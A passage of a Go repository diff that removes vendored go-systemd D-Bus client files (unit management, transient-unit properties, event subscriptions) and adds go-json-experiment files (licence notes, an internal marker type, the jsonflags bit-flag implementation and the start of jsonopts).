err := c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.UnmaskUnitFiles", 0, files, runtime).Store(&result)
if err != nil {
return nil, err
}
resultInterface := make([]interface{}, len(result))
for i := range result {
resultInterface[i] = result[i]
}
changes := make([]UnmaskUnitFileChange, len(result))
changesInterface := make([]interface{}, len(changes))
for i := range changes {
changesInterface[i] = &changes[i]
}
err = dbus.Store(resultInterface, changesInterface...)
if err != nil {
return nil, err
}
return changes, nil
}
type UnmaskUnitFileChange struct {
Type string // Type of the change (one of symlink or unlink)
Filename string // File name of the symlink
Destination string // Destination of the symlink
}
// Deprecated: use ReloadContext instead.
func (c *Conn) Reload() error {
return c.ReloadContext(context.Background())
}
// ReloadContext instructs systemd to scan for and reload unit files. This is
// an equivalent to systemctl daemon-reload.
func (c *Conn) ReloadContext(ctx context.Context) error {
return c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.Reload", 0).Store()
}
func unitPath(name string) dbus.ObjectPath {
return dbus.ObjectPath("/org/freedesktop/systemd1/unit/" + PathBusEscape(name))
}
// unitName returns the unescaped base element of the supplied escaped path.
func unitName(dpath dbus.ObjectPath) string {
return pathBusUnescape(path.Base(string(dpath)))
}
// JobStatus holds a currently queued job definition.
type JobStatus struct {
Id uint32 // The numeric job id
Unit string // The primary unit name for this job
JobType string // The job type as string
Status string // The job state as string
JobPath dbus.ObjectPath // The job object path
UnitPath dbus.ObjectPath // The unit object path
}
// Deprecated: use ListJobsContext instead.
func (c *Conn) ListJobs() ([]JobStatus, error) {
return c.ListJobsContext(context.Background())
}
// ListJobsContext returns an array with all currently queued jobs.
func (c *Conn) ListJobsContext(ctx context.Context) ([]JobStatus, error) {
return c.listJobsInternal(ctx)
}
func (c *Conn) listJobsInternal(ctx context.Context) ([]JobStatus, error) {
result := make([][]interface{}, 0)
if err := c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.ListJobs", 0).Store(&result); err != nil {
return nil, err
}
resultInterface := make([]interface{}, len(result))
for i := range result {
resultInterface[i] = result[i]
}
status := make([]JobStatus, len(result))
statusInterface := make([]interface{}, len(status))
for i := range status {
statusInterface[i] = &status[i]
}
if err := dbus.Store(resultInterface, statusInterface...); err != nil {
return nil, err
}
return status, nil
}
// Freeze the cgroup associated with the unit.
// Note that FreezeUnit and ThawUnit are only supported on systems running with cgroup v2.
func (c *Conn) FreezeUnit(ctx context.Context, unit string) error {
return c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.FreezeUnit", 0, unit).Store()
}
// Unfreeze the cgroup associated with the unit.
func (c *Conn) ThawUnit(ctx context.Context, unit string) error {
return c.sysobj.CallWithContext(ctx, "org.freedesktop.systemd1.Manager.ThawUnit", 0, unit).Store()
}
-237
View File
@@ -1,237 +0,0 @@
// Copyright 2015 CoreOS, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package dbus
import (
"github.com/godbus/dbus/v5"
)
// From the systemd docs:
//
// The properties array of StartTransientUnit() may take many of the settings
// that may also be configured in unit files. Not all parameters are currently
// accepted though, but we plan to cover more properties with future release.
// Currently you may set the Description, Slice and all dependency types of
// units, as well as RemainAfterExit, ExecStart for service units,
// TimeoutStopUSec and PIDs for scope units, and CPUAccounting, CPUShares,
// BlockIOAccounting, BlockIOWeight, BlockIOReadBandwidth,
// BlockIOWriteBandwidth, BlockIODeviceWeight, MemoryAccounting, MemoryLimit,
// DevicePolicy, DeviceAllow for services/scopes/slices. These fields map
// directly to their counterparts in unit files and as normal D-Bus object
// properties. The exception here is the PIDs field of scope units which is
// used for construction of the scope only and specifies the initial PIDs to
// add to the scope object.
type Property struct {
Name string
Value dbus.Variant
}
type PropertyCollection struct {
Name string
Properties []Property
}
type execStart struct {
Path string // the binary path to execute
Args []string // an array with all arguments to pass to the executed command, starting with argument 0
UncleanIsFailure bool // a boolean whether it should be considered a failure if the process exits uncleanly
}
// PropExecStart sets the ExecStart service property. The first argument is a
// slice with the binary path to execute followed by the arguments to pass to
// the executed command. See
// http://www.freedesktop.org/software/systemd/man/systemd.service.html#ExecStart=
func PropExecStart(command []string, uncleanIsFailure bool) Property {
execStarts := []execStart{
{
Path: command[0],
Args: command,
UncleanIsFailure: uncleanIsFailure,
},
}
return Property{
Name: "ExecStart",
Value: dbus.MakeVariant(execStarts),
}
}
// PropRemainAfterExit sets the RemainAfterExit service property. See
// http://www.freedesktop.org/software/systemd/man/systemd.service.html#RemainAfterExit=
func PropRemainAfterExit(b bool) Property {
return Property{
Name: "RemainAfterExit",
Value: dbus.MakeVariant(b),
}
}
// PropType sets the Type service property. See
// http://www.freedesktop.org/software/systemd/man/systemd.service.html#Type=
func PropType(t string) Property {
return Property{
Name: "Type",
Value: dbus.MakeVariant(t),
}
}
// PropDescription sets the Description unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit#Description=
func PropDescription(desc string) Property {
return Property{
Name: "Description",
Value: dbus.MakeVariant(desc),
}
}
func propDependency(name string, units []string) Property {
return Property{
Name: name,
Value: dbus.MakeVariant(units),
}
}
// PropRequires sets the Requires unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#Requires=
func PropRequires(units ...string) Property {
return propDependency("Requires", units)
}
// PropRequiresOverridable sets the RequiresOverridable unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#RequiresOverridable=
func PropRequiresOverridable(units ...string) Property {
return propDependency("RequiresOverridable", units)
}
// PropRequisite sets the Requisite unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#Requisite=
func PropRequisite(units ...string) Property {
return propDependency("Requisite", units)
}
// PropRequisiteOverridable sets the RequisiteOverridable unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#RequisiteOverridable=
func PropRequisiteOverridable(units ...string) Property {
return propDependency("RequisiteOverridable", units)
}
// PropWants sets the Wants unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#Wants=
func PropWants(units ...string) Property {
return propDependency("Wants", units)
}
// PropBindsTo sets the BindsTo unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#BindsTo=
func PropBindsTo(units ...string) Property {
return propDependency("BindsTo", units)
}
// PropRequiredBy sets the RequiredBy unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#RequiredBy=
func PropRequiredBy(units ...string) Property {
return propDependency("RequiredBy", units)
}
// PropRequiredByOverridable sets the RequiredByOverridable unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#RequiredByOverridable=
func PropRequiredByOverridable(units ...string) Property {
return propDependency("RequiredByOverridable", units)
}
// PropWantedBy sets the WantedBy unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#WantedBy=
func PropWantedBy(units ...string) Property {
return propDependency("WantedBy", units)
}
// PropBoundBy sets the BoundBy unit property. See
// http://www.freedesktop.org/software/systemd/main/systemd.unit.html#BoundBy=
func PropBoundBy(units ...string) Property {
return propDependency("BoundBy", units)
}
// PropConflicts sets the Conflicts unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#Conflicts=
func PropConflicts(units ...string) Property {
return propDependency("Conflicts", units)
}
// PropConflictedBy sets the ConflictedBy unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#ConflictedBy=
func PropConflictedBy(units ...string) Property {
return propDependency("ConflictedBy", units)
}
// PropBefore sets the Before unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#Before=
func PropBefore(units ...string) Property {
return propDependency("Before", units)
}
// PropAfter sets the After unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#After=
func PropAfter(units ...string) Property {
return propDependency("After", units)
}
// PropOnFailure sets the OnFailure unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#OnFailure=
func PropOnFailure(units ...string) Property {
return propDependency("OnFailure", units)
}
// PropTriggers sets the Triggers unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#Triggers=
func PropTriggers(units ...string) Property {
return propDependency("Triggers", units)
}
// PropTriggeredBy sets the TriggeredBy unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#TriggeredBy=
func PropTriggeredBy(units ...string) Property {
return propDependency("TriggeredBy", units)
}
// PropPropagatesReloadTo sets the PropagatesReloadTo unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#PropagatesReloadTo=
func PropPropagatesReloadTo(units ...string) Property {
return propDependency("PropagatesReloadTo", units)
}
// PropRequiresMountsFor sets the RequiresMountsFor unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.unit.html#RequiresMountsFor=
func PropRequiresMountsFor(units ...string) Property {
return propDependency("RequiresMountsFor", units)
}
// PropSlice sets the Slice unit property. See
// http://www.freedesktop.org/software/systemd/man/systemd.resource-control.html#Slice=
func PropSlice(slice string) Property {
return Property{
Name: "Slice",
Value: dbus.MakeVariant(slice),
}
}
// PropPids sets the PIDs field of scope units used in the initial construction
// of the scope only and specifies the initial PIDs to add to the scope object.
// See https://www.freedesktop.org/wiki/Software/systemd/ControlGroupInterface/#properties
func PropPids(pids ...uint32) Property {
return Property{
Name: "PIDs",
Value: dbus.MakeVariant(pids),
}
}
-47
View File
@@ -1,47 +0,0 @@
// Copyright 2015 CoreOS, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package dbus
type set struct {
data map[string]bool
}
func (s *set) Add(value string) {
s.data[value] = true
}
func (s *set) Remove(value string) {
delete(s.data, value)
}
func (s *set) Contains(value string) (exists bool) {
_, exists = s.data[value]
return
}
func (s *set) Length() int {
return len(s.data)
}
func (s *set) Values() (values []string) {
for val := range s.data {
values = append(values, val)
}
return
}
func newSet() *set {
return &set{make(map[string]bool)}
}
-333
View File
@@ -1,333 +0,0 @@
// Copyright 2015 CoreOS, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package dbus
import (
"errors"
"log"
"time"
"github.com/godbus/dbus/v5"
)
const (
cleanIgnoreInterval = int64(10 * time.Second)
ignoreInterval = int64(30 * time.Millisecond)
)
// Subscribe sets up this connection to subscribe to all systemd dbus events.
// This is required before calling SubscribeUnits. When the connection closes
// systemd will automatically stop sending signals so there is no need to
// explicitly call Unsubscribe().
func (c *Conn) Subscribe() error {
c.sigconn.BusObject().Call("org.freedesktop.DBus.AddMatch", 0,
"type='signal',interface='org.freedesktop.systemd1.Manager',member='UnitNew'")
c.sigconn.BusObject().Call("org.freedesktop.DBus.AddMatch", 0,
"type='signal',interface='org.freedesktop.DBus.Properties',member='PropertiesChanged'")
return c.sigobj.Call("org.freedesktop.systemd1.Manager.Subscribe", 0).Store()
}
// Unsubscribe this connection from systemd dbus events.
func (c *Conn) Unsubscribe() error {
return c.sigobj.Call("org.freedesktop.systemd1.Manager.Unsubscribe", 0).Store()
}
func (c *Conn) dispatch() {
ch := make(chan *dbus.Signal, signalBuffer)
c.sigconn.Signal(ch)
go func() {
for {
signal, ok := <-ch
if !ok {
return
}
if signal.Name == "org.freedesktop.systemd1.Manager.JobRemoved" {
c.jobComplete(signal)
}
if c.subStateSubscriber.updateCh == nil &&
c.propertiesSubscriber.updateCh == nil {
continue
}
var unitPath dbus.ObjectPath
switch signal.Name {
case "org.freedesktop.systemd1.Manager.JobRemoved":
unitName := signal.Body[2].(string)
c.sysobj.Call("org.freedesktop.systemd1.Manager.GetUnit", 0, unitName).Store(&unitPath)
case "org.freedesktop.systemd1.Manager.UnitNew":
unitPath = signal.Body[1].(dbus.ObjectPath)
case "org.freedesktop.DBus.Properties.PropertiesChanged":
if signal.Body[0].(string) == "org.freedesktop.systemd1.Unit" {
unitPath = signal.Path
if len(signal.Body) >= 2 {
if changed, ok := signal.Body[1].(map[string]dbus.Variant); ok {
c.sendPropertiesUpdate(unitPath, changed)
}
}
}
}
if unitPath == dbus.ObjectPath("") {
continue
}
c.sendSubStateUpdate(unitPath)
}
}()
}
// SubscribeUnits returns two unbuffered channels which will receive all changed units every
// interval. Deleted units are sent as nil.
func (c *Conn) SubscribeUnits(interval time.Duration) (<-chan map[string]*UnitStatus, <-chan error) {
return c.SubscribeUnitsCustom(interval, 0, func(u1, u2 *UnitStatus) bool { return *u1 != *u2 }, nil)
}
// SubscribeUnitsCustom is like SubscribeUnits but lets you specify the buffer
// size of the channels, the comparison function for detecting changes and a filter
// function for cutting down on the noise that your channel receives.
func (c *Conn) SubscribeUnitsCustom(interval time.Duration, buffer int, isChanged func(*UnitStatus, *UnitStatus) bool, filterUnit func(string) bool) (<-chan map[string]*UnitStatus, <-chan error) {
old := make(map[string]*UnitStatus)
statusChan := make(chan map[string]*UnitStatus, buffer)
errChan := make(chan error, buffer)
go func() {
for {
timerChan := time.After(interval)
units, err := c.ListUnits()
if err == nil {
cur := make(map[string]*UnitStatus)
for i := range units {
if filterUnit != nil && filterUnit(units[i].Name) {
continue
}
cur[units[i].Name] = &units[i]
}
// add all new or changed units
changed := make(map[string]*UnitStatus)
for n, u := range cur {
if oldU, ok := old[n]; !ok || isChanged(oldU, u) {
changed[n] = u
}
delete(old, n)
}
// add all deleted units
for oldN := range old {
changed[oldN] = nil
}
old = cur
if len(changed) != 0 {
statusChan <- changed
}
} else {
errChan <- err
}
<-timerChan
}
}()
return statusChan, errChan
}
type SubStateUpdate struct {
UnitName string
SubState string
}
// SetSubStateSubscriber writes to updateCh when any unit's substate changes.
// Although this writes to updateCh on every state change, the reported state
// may be more recent than the change that generated it (due to an unavoidable
// race in the systemd dbus interface). That is, this method provides a good
// way to keep a current view of all units' states, but is not guaranteed to
// show every state transition they go through. Furthermore, state changes
// will only be written to the channel with non-blocking writes. If updateCh
// is full, it attempts to write an error to errCh; if errCh is full, the error
// passes silently.
func (c *Conn) SetSubStateSubscriber(updateCh chan<- *SubStateUpdate, errCh chan<- error) {
if c == nil {
msg := "nil receiver"
select {
case errCh <- errors.New(msg):
default:
log.Printf("full error channel while reporting: %s\n", msg)
}
return
}
c.subStateSubscriber.Lock()
defer c.subStateSubscriber.Unlock()
c.subStateSubscriber.updateCh = updateCh
c.subStateSubscriber.errCh = errCh
}
func (c *Conn) sendSubStateUpdate(unitPath dbus.ObjectPath) {
c.subStateSubscriber.Lock()
defer c.subStateSubscriber.Unlock()
if c.subStateSubscriber.updateCh == nil {
return
}
isIgnored := c.shouldIgnore(unitPath)
defer c.cleanIgnore()
if isIgnored {
return
}
info, err := c.GetUnitPathProperties(unitPath)
if err != nil {
select {
case c.subStateSubscriber.errCh <- err:
default:
log.Printf("full error channel while reporting: %s\n", err)
}
return
}
defer c.updateIgnore(unitPath, info)
name, ok := info["Id"].(string)
if !ok {
msg := "failed to cast info.Id"
select {
case c.subStateSubscriber.errCh <- errors.New(msg):
default:
log.Printf("full error channel while reporting: %s\n", err)
}
return
}
substate, ok := info["SubState"].(string)
if !ok {
msg := "failed to cast info.SubState"
select {
case c.subStateSubscriber.errCh <- errors.New(msg):
default:
log.Printf("full error channel while reporting: %s\n", msg)
}
return
}
update := &SubStateUpdate{name, substate}
select {
case c.subStateSubscriber.updateCh <- update:
default:
msg := "update channel is full"
select {
case c.subStateSubscriber.errCh <- errors.New(msg):
default:
log.Printf("full error channel while reporting: %s\n", msg)
}
return
}
}
// The ignore functions work around a wart in the systemd dbus interface.
// Requesting the properties of an unloaded unit will cause systemd to send a
// pair of UnitNew/UnitRemoved signals. Because we need to get a unit's
// properties on UnitNew (as that's the only indication of a new unit coming up
// for the first time), we would enter an infinite loop if we did not attempt
// to detect and ignore these spurious signals. The signal themselves are
// indistinguishable from relevant ones, so we (somewhat hackishly) ignore an
// unloaded unit's signals for a short time after requesting its properties.
// This means that we will miss e.g. a transient unit being restarted
// *immediately* upon failure and also a transient unit being started
// immediately after requesting its status (with systemctl status, for example,
// because this causes a UnitNew signal to be sent which then causes us to fetch
// the properties).
func (c *Conn) shouldIgnore(path dbus.ObjectPath) bool {
t, ok := c.subStateSubscriber.ignore[path]
return ok && t >= time.Now().UnixNano()
}
func (c *Conn) updateIgnore(path dbus.ObjectPath, info map[string]interface{}) {
loadState, ok := info["LoadState"].(string)
if !ok {
return
}
// unit is unloaded - it will trigger bad systemd dbus behavior
if loadState == "not-found" {
c.subStateSubscriber.ignore[path] = time.Now().UnixNano() + ignoreInterval
}
}
// without this, ignore would grow unboundedly over time
func (c *Conn) cleanIgnore() {
now := time.Now().UnixNano()
if c.subStateSubscriber.cleanIgnore < now {
c.subStateSubscriber.cleanIgnore = now + cleanIgnoreInterval
for p, t := range c.subStateSubscriber.ignore {
if t < now {
delete(c.subStateSubscriber.ignore, p)
}
}
}
}
// PropertiesUpdate holds a map of a unit's changed properties
type PropertiesUpdate struct {
UnitName string
Changed map[string]dbus.Variant
}
// SetPropertiesSubscriber writes to updateCh when any unit's properties
// change. Every property change reported by systemd will be sent; that is, no
// transitions will be "missed" (as they might be with SetSubStateSubscriber).
// However, state changes will only be written to the channel with non-blocking
// writes. If updateCh is full, it attempts to write an error to errCh; if
// errCh is full, the error passes silently.
func (c *Conn) SetPropertiesSubscriber(updateCh chan<- *PropertiesUpdate, errCh chan<- error) {
c.propertiesSubscriber.Lock()
defer c.propertiesSubscriber.Unlock()
c.propertiesSubscriber.updateCh = updateCh
c.propertiesSubscriber.errCh = errCh
}
// we don't need to worry about shouldIgnore() here because
// sendPropertiesUpdate doesn't call GetProperties()
func (c *Conn) sendPropertiesUpdate(unitPath dbus.ObjectPath, changedProps map[string]dbus.Variant) {
c.propertiesSubscriber.Lock()
defer c.propertiesSubscriber.Unlock()
if c.propertiesSubscriber.updateCh == nil {
return
}
update := &PropertiesUpdate{unitName(unitPath), changedProps}
select {
case c.propertiesSubscriber.updateCh <- update:
default:
msg := "update channel is full"
select {
case c.propertiesSubscriber.errCh <- errors.New(msg):
default:
log.Printf("full error channel while reporting: %s\n", msg)
}
return
}
}
-57
View File
@@ -1,57 +0,0 @@
// Copyright 2015 CoreOS, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package dbus
import (
"time"
)
// SubscriptionSet returns a subscription set which is like conn.Subscribe but
// can filter to only return events for a set of units.
type SubscriptionSet struct {
*set
conn *Conn
}
func (s *SubscriptionSet) filter(unit string) bool {
return !s.Contains(unit)
}
// Subscribe starts listening for dbus events for all of the units in the set.
// Returns channels identical to conn.SubscribeUnits.
func (s *SubscriptionSet) Subscribe() (<-chan map[string]*UnitStatus, <-chan error) {
// TODO: Make fully evented by using systemd 209 with properties changed values
return s.conn.SubscribeUnitsCustom(time.Second, 0,
mismatchUnitStatus,
func(unit string) bool { return s.filter(unit) },
)
}
// NewSubscriptionSet returns a new subscription set.
func (conn *Conn) NewSubscriptionSet() *SubscriptionSet {
return &SubscriptionSet{newSet(), conn}
}
// mismatchUnitStatus returns true if the provided UnitStatus objects
// are not equivalent. false is returned if the objects are equivalent.
// Only the Name, Description and state-related fields are used in
// the comparison.
func mismatchUnitStatus(u1, u2 *UnitStatus) bool {
return u1.Name != u2.Name ||
u1.Description != u2.Description ||
u1.LoadState != u2.LoadState ||
u1.ActiveState != u2.ActiveState ||
u1.SubState != u2.SubState
}
+3
View File
@@ -0,0 +1,3 @@
# This source code refers to The Go Authors for copyright purposes.
# The master list of authors is in the main Go distribution,
# visible at https://tip.golang.org/AUTHORS.
+3
View File
@@ -0,0 +1,3 @@
# This source code was written by the Go contributors.
# The master list of contributors is in the main Go distribution,
# visible at https://tip.golang.org/CONTRIBUTORS.
+27
View File
@@ -0,0 +1,27 @@
Copyright (c) 2020 The Go Authors. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
* Neither the name of Google Inc. nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+14
View File
@@ -0,0 +1,14 @@
// Copyright 2023 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package internal
// NotForPublicUse is a marker type that an API is for internal use only.
// It does not perfectly prevent usage of that API, but helps to restrict usage.
// Anything with this marker is not covered by the Go compatibility agreement.
type NotForPublicUse struct{}
// AllowInternalUse is passed from "json" to "jsontext" to authenticate
// that the caller can have access to internal functionality.
var AllowInternalUse NotForPublicUse
+184
View File
@@ -0,0 +1,184 @@
// Copyright 2023 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// jsonflags implements all the optional boolean flags.
// These flags are shared across both "json", "jsontext", and "jsonopts".
package jsonflags
import "github.com/go-json-experiment/json/internal"
// Bools represents zero or more boolean flags, all set to true or false.
// The least-significant bit is the boolean value of all flags in the set.
// The remaining bits identify which particular flags.
//
// In common usage, this is OR'd with 0 or 1. For example:
// - (AllowInvalidUTF8 | 0) means "AllowInvalidUTF8 is false"
// - (Expand | Indent | 1) means "Expand and Indent are true"
type Bools uint64
func (Bools) JSONOptions(internal.NotForPublicUse) {}
const (
// AllFlags is the set of all flags.
AllFlags = AllCoderFlags | AllArshalV2Flags | AllArshalV1Flags
// AllCoderFlags is the set of all encoder/decoder flags.
AllCoderFlags = (maxCoderFlag - 1) - initFlag
// AllArshalV2Flags is the set of all v2 marshal/unmarshal flags.
AllArshalV2Flags = (maxArshalV2Flag - 1) - (maxCoderFlag - 1)
// AllArshalV1Flags is the set of all v1 marshal/unmarshal flags.
AllArshalV1Flags = (maxArshalV1Flag - 1) - (maxArshalV2Flag - 1)
// NonBooleanFlags is the set of non-boolean flags,
// where the value is some other concrete Go type.
// The value of the flag is stored within jsonopts.Struct.
NonBooleanFlags = 0 |
Indent |
IndentPrefix |
ByteLimit |
DepthLimit |
Marshalers |
Unmarshalers
// DefaultV1Flags is the set of booleans flags that default to true under
// v1 semantics. None of the non-boolean flags differ between v1 and v2.
DefaultV1Flags = 0 |
AllowDuplicateNames |
AllowInvalidUTF8 |
EscapeForHTML |
EscapeForJS |
Deterministic |
FormatNilMapAsNull |
FormatNilSliceAsNull |
MatchCaseInsensitiveNames |
FormatByteArrayAsArray |
FormatTimeDurationAsNanosecond |
IgnoreStructErrors |
MatchCaseSensitiveDelimiter |
MergeWithLegacySemantics |
OmitEmptyWithLegacyDefinition |
RejectFloatOverflow |
ReportLegacyErrorValues |
SkipUnaddressableMethods |
StringifyWithLegacySemantics |
UnmarshalArrayFromAnyLength
)
// Encoder and decoder flags.
const (
initFlag Bools = 1 << iota // reserved for the boolean value itself
AllowDuplicateNames // encode or decode
AllowInvalidUTF8 // encode or decode
WithinArshalCall // encode or decode; for internal use by json.Marshal and json.Unmarshal
OmitTopLevelNewline // encode only; for internal use by json.Marshal and json.MarshalWrite
PreserveRawStrings // encode only; for internal use by jsontext.Value.Canonicalize
CanonicalizeNumbers // encode only; for internal use by jsontext.Value.Canonicalize
EscapeForHTML // encode only
EscapeForJS // encode only
Expand // encode only
Indent // encode only; non-boolean flag
IndentPrefix // encode only; non-boolean flag
ByteLimit // encode or decode; non-boolean flag
DepthLimit // encode or decode; non-boolean flag
maxCoderFlag
)
// Marshal and Unmarshal flags (for v2).
const (
_ Bools = (maxCoderFlag >> 1) << iota
StringifyNumbers // marshal or unmarshal
Deterministic // marshal only
FormatNilMapAsNull // marshal only
FormatNilSliceAsNull // marshal only
MatchCaseInsensitiveNames // marshal or unmarshal
DiscardUnknownMembers // marshal only
RejectUnknownMembers // unmarshal only
Marshalers // marshal only; non-boolean flag
Unmarshalers // unmarshal only; non-boolean flag
maxArshalV2Flag
)
// Marshal and Unmarshal flags (for v1).
const (
_ Bools = (maxArshalV2Flag >> 1) << iota
FormatByteArrayAsArray // marshal or unmarshal
FormatTimeDurationAsNanosecond // marshal or unmarshal
IgnoreStructErrors // marshal or unmarshal
MatchCaseSensitiveDelimiter // marshal or unmarshal
MergeWithLegacySemantics // unmarshal
OmitEmptyWithLegacyDefinition // marshal
RejectFloatOverflow // unmarshal
ReportLegacyErrorValues // marshal or unmarshal
SkipUnaddressableMethods // marshal or unmarshal
StringifyWithLegacySemantics // marshal or unmarshal
UnmarshalAnyWithRawNumber // unmarshal; for internal use by jsonv1.Decoder.UseNumber
UnmarshalArrayFromAnyLength // unmarshal
maxArshalV1Flag
)
// Flags is a set of boolean flags.
// If the presence bit is zero, then the value bit must also be zero.
// The least-significant bit of both fields is always zero.
//
// Unlike Bools, which can represent a set of bools that are all true or false,
// Flags represents a set of bools, each individually may be true or false.
type Flags struct{ Presence, Values uint64 }
// Join joins two sets of flags such that the latter takes precedence.
func (dst *Flags) Join(src Flags) {
// Copy over all source presence bits over to the destination (using OR),
// then invert the source presence bits to clear out source value (using AND-NOT),
// then copy over source value bits over to the destination (using OR).
// e.g., dst := Flags{Presence: 0b_1100_0011, Value: 0b_1000_0011}
// e.g., src := Flags{Presence: 0b_0101_1010, Value: 0b_1001_0010}
dst.Presence |= src.Presence // e.g., 0b_1100_0011 | 0b_0101_1010 -> 0b_110_11011
dst.Values &= ^src.Presence // e.g., 0b_1000_0011 & 0b_1010_0101 -> 0b_100_00001
dst.Values |= src.Values // e.g., 0b_1000_0001 | 0b_1001_0010 -> 0b_100_10011
}
// Set sets both the presence and value for the provided bool (or set of bools).
func (fs *Flags) Set(f Bools) {
// Select out the bits for the flag identifiers (everything except LSB),
// then set the presence for all the identifier bits (using OR),
// then invert the identifier bits to clear out the values (using AND-NOT),
// then copy over all the identifier bits to the value if LSB is 1.
// e.g., fs := Flags{Presence: 0b_0101_0010, Value: 0b_0001_0010}
// e.g., f := 0b_1001_0001
id := uint64(f) &^ uint64(1) // e.g., 0b_1001_0001 & 0b_1111_1110 -> 0b_1001_0000
fs.Presence |= id // e.g., 0b_0101_0010 | 0b_1001_0000 -> 0b_1101_0011
fs.Values &= ^id // e.g., 0b_0001_0010 & 0b_0110_1111 -> 0b_0000_0010
fs.Values |= uint64(f&1) * id // e.g., 0b_0000_0010 | 0b_1001_0000 -> 0b_1001_0010
}
// Get reports whether the bool (or any of the bools) is true.
// This is generally only used with a singular bool.
// The value bit of f (i.e., the LSB) is ignored.
func (fs Flags) Get(f Bools) bool {
return fs.Values&uint64(f) > 0
}
// Has reports whether the bool (or any of the bools) is set.
// The value bit of f (i.e., the LSB) is ignored.
func (fs Flags) Has(f Bools) bool {
return fs.Presence&uint64(f) > 0
}
// Clear clears both the presence and value for the provided bool or bools.
// The value bit of f (i.e., the LSB) is ignored.
func (fs *Flags) Clear(f Bools) {
// Invert f to produce a mask to clear all bits in f (using AND).
// e.g., fs := Flags{Presence: 0b_0101_0010, Value: 0b_0001_0010}
// e.g., f := 0b_0001_1000
mask := uint64(^f) // e.g., 0b_0001_1000 -> 0b_1110_0111
fs.Presence &= mask // e.g., 0b_0101_0010 & 0b_1110_0111 -> 0b_0100_0010
fs.Values &= mask // e.g., 0b_0001_0010 & 0b_1110_0111 -> 0b_0000_0010
}
+190
View File
@@ -0,0 +1,190 @@
// Copyright 2023 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package jsonopts
import (
"github.com/go-json-experiment/json/internal"
"github.com/go-json-experiment/json/internal/jsonflags"
)
// Options is the common options type shared across json packages.
type Options interface {
// JSONOptions is exported so related json packages can implement Options.
JSONOptions(internal.NotForPublicUse)
}
